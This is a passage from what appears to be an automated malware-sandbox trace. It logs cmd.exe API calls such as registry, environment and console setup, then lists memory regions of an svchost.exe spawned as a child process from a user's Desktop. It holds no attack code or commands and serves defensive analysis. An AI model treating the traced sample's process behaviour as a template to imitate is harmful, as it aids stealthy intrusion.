lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x0, lpData=0x41ecf8*=0x1, lpcbData=0x41ecf0*=0x1000) returned 0x2 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x0, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x40, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x40, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x0, lpData=0x41ecf8*=0x40, lpcbData=0x41ecf0*=0x1000) returned 0x2 [0047.517] RegCloseKey (hKey=0x68) returned 0x0 [0047.517] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ecec | out: phkResult=0x41ecec*=0x68) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x0, lpData=0x41ecf8*=0x40, lpcbData=0x41ecf0*=0x1000) returned 0x2 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x1, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x0, lpData=0x41ecf8*=0x1, lpcbData=0x41ecf0*=0x1000) returned 0x2 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x0, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x9, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x4, lpData=0x41ecf8*=0x9, lpcbData=0x41ecf0*=0x4) returned 0x0 [0047.517] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ecf4, lpData=0x41ecf8, lpcbData=0x41ecf0*=0x1000 | out: lpType=0x41ecf4*=0x0, lpData=0x41ecf8*=0x9, lpcbData=0x41ecf0*=0x1000) returned 0x2 [0047.517] RegCloseKey (hKey=0x68) returned 0x0 [0047.518] time (in: timer=0x0 | out: timer=0x0) returned 0x599b4adc [0047.518] srand (_Seed=0x599b4adc) [0047.518] GetCommandLineW () returned="cmd /K" [0047.518] GetCommandLineW () returned="cmd /K" [0047.518] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a5c5260 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0047.518] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x482018, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0047.518] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a5d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0047.518] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a5d0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0047.518] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a5d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0047.518] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0047.518] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0047.518] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0047.518] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0047.518] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0047.518] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0047.518] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0047.518] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0047.518] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0047.518] GetEnvironmentStringsW () returned 0x482228* [0047.518] FreeEnvironmentStringsW (penv=0x482228) returned 1 [0047.518] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a5d0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0047.518] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a5d0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0047.518] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0047.518] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0047.518] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0047.518] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0047.518] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0047.518] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0047.518] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0047.518] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0047.518] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41fab8 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0047.518] GetFullPathNameW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Desktop", nBufferLength=0x104, lpBuffer=0x41fab8, lpFilePart=0x41fab4 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop", lpFilePart=0x41fab4*="Desktop") returned 0x1f [0047.519] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 0x11 [0047.519] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f834 | out: lpFindFileData=0x41f834) returned 0x485790 [0047.519] FindClose (in: hFindFile=0x485790 | out: hFindFile=0x485790) returned 1 [0047.519] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS", lpFindFileData=0x41f834 | out: lpFindFileData=0x41f834) returned 0x485790 [0047.519] FindClose (in: hFindFile=0x485790 | out: hFindFile=0x485790) returned 1 [0047.519] _wcsnicmp (_String1="ADU0VK~1", _String2="aDU0VK IWA5kLS", _MaxCount=0xe) returned 94 [0047.519] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Desktop", lpFindFileData=0x41f834 | out: lpFindFileData=0x41f834) returned 0x485790 [0047.519] FindClose (in: hFindFile=0x485790 | out: hFindFile=0x485790) returned 1 [0047.519] GetFileAttributesW (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 0x11 [0047.519] SetCurrentDirectoryW (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0047.519] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 1 [0047.519] GetEnvironmentStringsW () returned 0x484140* [0047.519] FreeEnvironmentStringsW (penv=0x484140) returned 1 [0047.519] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a5c5260 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0047.520] GetConsoleOutputCP () returned 0x1b5 [0047.520] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5c4260 | out: lpCPInfo=0x4a5c4260) returned 1 [0047.520] GetUserDefaultLCID () returned 0x409 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a5c4950, cchData=8 | out: lpLCData=":") returned 2 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41fbf8, cchData=128 | out: lpLCData="0") returned 2 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41fbf8, cchData=128 | out: lpLCData="0") returned 2 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41fbf8, cchData=128 | out: lpLCData="1") returned 2 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a5c4940, cchData=8 | out: lpLCData="/") returned 2 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a5c4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a5c4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a5c4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a5c4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a5c4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a5c4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a5c4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a5c4930, cchData=8 | out: lpLCData=".") returned 2 [0047.521] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a5c4920, cchData=8 | out: lpLCData=",") returned 2 [0047.521] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0047.522] GetConsoleTitleW (in: lpConsoleTitle=0x482d98, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\SysWOW64\\cmd.exe") returned 0x1b [0047.522] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.522] GetFileType (hFile=0x7) returned 0x2 [0047.522] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0047.522] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41fcf4 | out: lpMode=0x41fcf4) returned 1 [0047.522] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0047.522] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x41fd10 | out: lpConsoleScreenBufferInfo=0x41fd10) returned 1 [0047.523] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0047.523] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x41fcdc | out: lpConsoleScreenBufferInfo=0x41fcdc) returned 1 [0047.523] FillConsoleOutputAttribute (in: hConsoleOutput=0x7, wAttribute=0x7, nLength=0x5dc0, dwWriteCoord=0x0, lpNumberOfAttrsWritten=0x41fcf4 | out: lpNumberOfAttrsWritten=0x41fcf4) returned 1 [0047.523] SetConsoleTextAttribute (hConsoleOutput=0x7, wAttributes=0x7) returned 1 [0047.523] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0047.523] GetProcAddress (hModule=0x75dc0000, lpProcName="CopyFileExW") returned 0x75df3b92 [0047.523] GetProcAddress (hModule=0x75dc0000, lpProcName="IsDebuggerPresent") returned 0x75dd4a5d [0047.523] GetProcAddress (hModule=0x75dc0000, lpProcName="SetConsoleInputExeNameW") returned 0x75dea79d [0047.524] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.524] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0047.524] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.524] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a5c41ac | out: lpMode=0x4a5c41ac) returned 1 [0047.524] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.524] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a5c41b0 | out: lpMode=0x4a5c41b0) returned 1 [0047.524] SetConsoleInputExeNameW () returned 0x1 [0047.524] GetConsoleOutputCP () returned 0x1b5 [0047.524] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a5c4260 | out: lpCPInfo=0x4a5c4260) returned 1 [0047.524] SetThreadUILanguage (LangId=0x0) returned 0x409 [0047.524] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.524] GetFileType (hFile=0x3) returned 0x2 [0047.525] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0047.525] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x41fd70 | out: lpMode=0x41fd70) returned 1 [0047.525] NtOpenThreadToken (in: ThreadHandle=0xfffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x41fb2c | out: TokenHandle=0x41fb2c*=0x0) returned 0xc000007c [0047.525] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x41fb2c | out: TokenHandle=0x41fb2c*=0x74) returned 0x0 [0047.525] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x12, TokenInformation=0x41faf8, TokenInformationLength=0x4, ReturnLength=0x41fb0c | out: TokenInformation=0x41faf8, ReturnLength=0x41fb0c) returned 0x0 [0047.525] NtQueryInformationToken (in: TokenHandle=0x74, TokenInformationClass=0x1a, TokenInformation=0x41fb04, TokenInformationLength=0x4, ReturnLength=0x41fb08 | out: TokenInformation=0x41fb04, ReturnLength=0x41fb08) returned 0x0 [0047.525] NtClose (Handle=0x74) returned 0x0 [0047.525] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a5d0640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0047.525] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a5c5260 | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0047.525] _vsnwprintf (in: _Buffer=0x4a5c5e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x41fa58 | out: _Buffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 31 [0047.525] _vsnwprintf (in: _Buffer=0x4a5c5e7e, _BufferCount=0x3df, _Format="%c", _ArgList=0x41fa58 | out: _Buffer=">") returned 1 [0047.525] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.525] GetFileType (hFile=0x7) returned 0x2 [0047.525] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0047.526] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x41fa20 | out: lpMode=0x41fa20) returned 1 [0047.526] _get_osfhandle (_FileHandle=1) returned 0x7 [0047.526] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a5c5e40*, nNumberOfCharsToWrite=0x20, lpNumberOfCharsWritten=0x41fa4c, lpReserved=0x0 | out: lpBuffer=0x4a5c5e40*, lpNumberOfCharsWritten=0x41fa4c*=0x20) returned 1 [0047.526] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.526] GetFileType (hFile=0x3) returned 0x2 [0047.526] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.527] GetFileType (hFile=0x3) returned 0x2 [0047.527] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0047.527] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x41fcec | out: lpMode=0x41fcec) returned 1 [0047.527] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.527] GetFileType (hFile=0x3) returned 0x2 [0047.527] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0047.527] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x41fcec | out: lpMode=0x41fcec) returned 1 [0047.527] _get_osfhandle (_FileHandle=0) returned 0x3 [0047.527] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0047.527] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x7, lpConsoleScreenBufferInfo=0x41fca4 | out: lpConsoleScreenBufferInfo=0x41fca4) returned 1 [0047.527] ReadConsoleW (hConsoleInput=0x3, lpBuffer=0x4a5cc640, nNumberOfCharsToRead=0x2000, lpNumberOfCharsRead=0x41fd0c, pInputControl=0x41fcbc) Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\syswow64\\svchost.exe" page_root = "0x529a9000" os_pid = "0xa68" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9dc" cmd_line = "C:\\Windows\\System32\\svchost.exe" cur_dir = "C:\\Users\\aDU0VK IWA5kLS\\Desktop\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 916 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 917 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 918 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 919 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 920 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 921 start_va = 0x90000 end_va = 0xcffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 922 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 923 start_va = 0x4f0000 end_va = 0x4f7fff entry_point = 0x4f2104 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\SysWOW64\\svchost.exe" (normalized: "c:\\windows\\syswow64\\svchost.exe") Region: id = 924 start_va = 0xbc00000 end_va = 0xbc11fff entry_point = 0x0 region_type = private name = "private_0x000000000bc00000" filename = "" Region: id = 925 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 926 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 927 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 928 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 929 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 930 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 931 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 932 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 933 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 934 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 935 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c7f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 936 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ccde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 937 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d120f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 938 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 939 start_va = 0x30000 end_va = 0x3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 940 start_va = 0xd0000 end_va = 0x136fff entry_point = 0xd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 941 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 942 start_va = 0x74980000 end_va = 0x7498efff entry_point = 0x7498125e region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 943 start_va = 0x74990000 end_va = 0x7499efff entry_point = 0x749912a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 944 start_va = 0x749a0000 end_va = 0x749b8fff entry_point = 0x749a1319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 945 start_va = 0x749c0000 end_va = 0x749c8fff entry_point = 0x749c15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 946 start_va = 0x749d0000 end_va = 0x749e0fff entry_point = 0x749d1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 947 start_va = 0x749f0000 end_va = 0x74a06fff entry_point = 0x749f1c9d region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\SysWOW64\\userenv.dll" (normalized: "c:\\windows\\syswow64\\userenv.dll") Region: id = 948 start_va = 0x751e0000 end_va = 0x751eafff entry_point = 0x751e1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 949 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x752710e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 950 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x7529a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 951 start_va = 0x752e0000 end_va = 0x7543bfff entry_point = 0x7532ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 952 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75450569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 953 start_va = 0x75530000 end_va = 0x7572afff entry_point = 0x755322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 954 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757fb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 955 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75974975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 956 start_va = 0x75990000 end_va = 0x75aacfff entry_point = 0x7599158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 957 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ac6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 958 start_va = 0x75cd0000 end_va = 0x75cd5fff entry_point = 0x75cd1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 959 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d1a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 960 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dd32d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 961 start_va = 0x75ed0000 end_va = 0x75f5efff entry_point = 0x75ed3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 962 start_va = 0x75fe0000 end_va = 0x76c29fff entry_point = 0x76061601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 963 start_va = 0x76dd0000 end_va = 0x76e04fff entry_point = 0x76dd145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 964 start_va = 0x76e10000 end_va = 0x76f04fff entry_point = 0x76e11865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 965 start_va = 0x76f10000 end_va = 0x76f66fff entry_point = 0x76f29ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 966 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 967 start_va = 0x76ff0000 end_va = 0x77125fff entry_point = 0x76ff1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 968 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77137478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 969 start_va = 0x77180000 